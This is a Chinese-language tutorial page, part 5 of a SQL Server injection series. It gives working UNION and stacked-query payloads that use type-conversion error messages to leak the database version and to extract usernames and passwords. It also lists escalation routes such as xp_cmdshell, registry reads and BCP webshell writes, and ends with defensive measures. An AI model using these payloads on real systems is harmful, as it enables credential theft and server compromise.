首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式碼之家 >> 數據庫知識 >  >> SQL Server 資料庫 >> 關於SqlServer

SQL Server 注入攻擊深度解析 (5/10):類型轉換錯誤回顯、系統資訊洩露、資料竊取、變數構造長字串

     編輯:關於SqlServer

利用類型轉換錯誤回顯資料 (核心技術)

原理:嘗試將 `VARCHAR/NVARCHAR` 轉換為 `INT`,失敗時錯誤訊息**包含原始字串內容**。SQL Server 2000/2005/2008 預設在錯誤頁回顯 (ASP.NET `customErrors=Off` / 經典 ASP 預設開啟)。

1. 探測欄位型別


' UNION SELECT SUM(UserName) FROM Users--
-- 錯誤: The sum or average aggregate operation cannot take a varchar data type as an argument.
-- → UserName 是 VARCHAR

2. 讀取 @@version (資料庫版本/OS)


' UNION SELECT @@VERSION, 1, 1, 1--
-- 錯誤: Syntax error converting the nvarchar value 
-- 'Microsoft SQL Server 2000 - 8.00.194 (Intel X86) Aug 6 2000 ...' to a column of data type int.

3. 逐筆竊取用戶名 (MIN + 遞增)


-- 取第一筆
' UNION SELECT MIN(UserName), 1, 1, 1 FROM Users WHERE UserName > 'a'--
-- 錯誤顯示: 'admin'

-- 取下一筆
' UNION SELECT MIN(UserName), 1, 1, 1 FROM Users WHERE UserName > 'admin'--
-- 錯誤顯示: 'chris'

4. 竊取密碼 (精確匹配)


' UNION SELECT Password, 1, 1, 1 FROM Users WHERE UserName = 'admin'--
-- 錯誤顯示: 'r00tr0x!'

5. 一次性導出所有帳密 (變數累積 + 建表)


-- 構造長字串: ': admin/r00tr0x! guest/guest chris/pass fred/sesame'
'; BEGIN 
    DECLARE @ret VARCHAR(8000); 
    SET @ret = ':'; 
    SELECT @ret = @ret + ' ' + UserName + '/' + Password FROM Users WHERE UserName > @ret; 
    SELECT @ret AS ret INTO #tmp; 
  END--
-- 讀取
' UNION SELECT ret, 1, 1, 1 FROM #tmp--
-- 清理
'; DROP TABLE #tmp--

**關鍵點**:變數 `@ret` 初始值 `':'` 確保 `WHERE UserName > @ret` 首次匹配最小值;後續迴圈中 `@ret` 不斷增長,避免重複。

深入訪問:從資料庫到作業系統

一旦擁有 SQL 執行權限 (特別是 `sysadmin` / `db_owner`),可進一步:

  1. xp_cmdshell — 執行 OS 命令 (`dir`, `net user`, `powershell`...)。
  2. xp_regread — 讀取登錄 (含 SAM 雜湊、SNMP 社群字串、服務配置)。
  3. 其他擴展存儲 — 修改服務、列舉 DSN、建立 CAB、終止進程。
  4. 連結伺服器 — 橫向移動至其他 SQL 實例。
  5. 自訂擴展存儲 (DLL) — 進程級代碼執行。
  6. BULK INSERT — 讀取伺服器任意文字檔 (Web 原始碼、配置)。
  7. BCP — 寫入伺服器任意文字檔 (Webshell、啟動項)。
  8. sp_OA* (ActiveX) — 實例化 COM 物件 (WScript.Shell、FileSystemObject、Speech...),功能等同 ASP/WSH。

錯誤訊息資訊庫


SELECT * FROM master..sysmessages; -- 所有系統錯誤訊息 (含轉換錯誤 245, 8114 等)

研究此表可發現更多資訊洩露向量 (如幾何/空間資料型別轉換錯誤、XML 剖析錯誤等)。

防禦重點

  • **生產環境關閉詳細錯誤回顯** — ASP.NET `` / ``;經典 ASP `Server.GetLastError()` 記錄日志不顯示用戶。
  • **參數化查詢** — 根源阻斷 UNION 注入。
  • **最小權限帳號** — 應用帳號無 `sysadmin`,無 `xp_cmdshell`/`sp_OA*`/`BULK INSERT`/`BCP` 權限。
  • **移除/禁用危險擴展** — `sp_dropextendedproc` 或刪除 DLL。
  • **審計監控** — 捕獲 `CONVERT`/`CAST` 失敗、大量 `UNION`、`xp_cmdshell` 呼叫等異常模式。
  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved